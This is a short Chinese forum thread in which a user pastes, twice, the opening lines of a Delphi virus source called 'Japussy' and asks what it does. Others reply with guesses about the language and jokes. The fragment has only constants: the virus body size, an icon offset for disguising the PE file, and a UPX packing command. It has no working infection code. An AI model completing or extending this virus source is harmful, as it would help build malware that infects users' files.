这一段代码的具体作用？是？

chd114

WHAT 代码复制

programJapussy;

uses

Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};

const

HeaderSize=82432;//病毒体的大小

IconOffset=$12EB8;//PE文件主图标的偏移量

//在我的Delphi5SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize=38912;//Upx压缩过病毒体的大小

IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量

//Upx1.24W用法:upx-9--8086Japussy.exe

}

programJapussy;



uses



Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};



const



HeaderSize=82432;//病毒体的大小



IconOffset=$12EB8;//PE文件主图标的偏移量



//在我的Delphi5SP1上面编译得到的大小，其它版本的Delphi可能不同



//查找2800000020的十六进制字符串可以找到主图标的偏移量



{



HeaderSize=38912;//Upx压缩过病毒体的大小



IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量



//Upx1.24W用法:upx-9--8086Japussy.exe



}

原版来自http://tieba.baidu.com/p/3606683719的6楼
@taroxd @VIPArcher @晴兰 @菜鸟飞呀飞 @喵呜喵5 @美丽晨露 @月下耶鲁夫 @上贺茂润 @寒冷魔王 @三途亚梦  

寒冷魔王

前两句长得像Fortran，不过貌似是Delphi？？

chd114

emgame 发表于 2015-2-27 00:21
她不是说明了么（误）~不是Delphi

怎么用呢···

美丽晨露

连程序帝都不懂还@魔女作什么？

chd114

美丽晨露 发表于 2015-2-27 05:43
连程序帝都不懂还@魔女作什么？

群组组长不@不好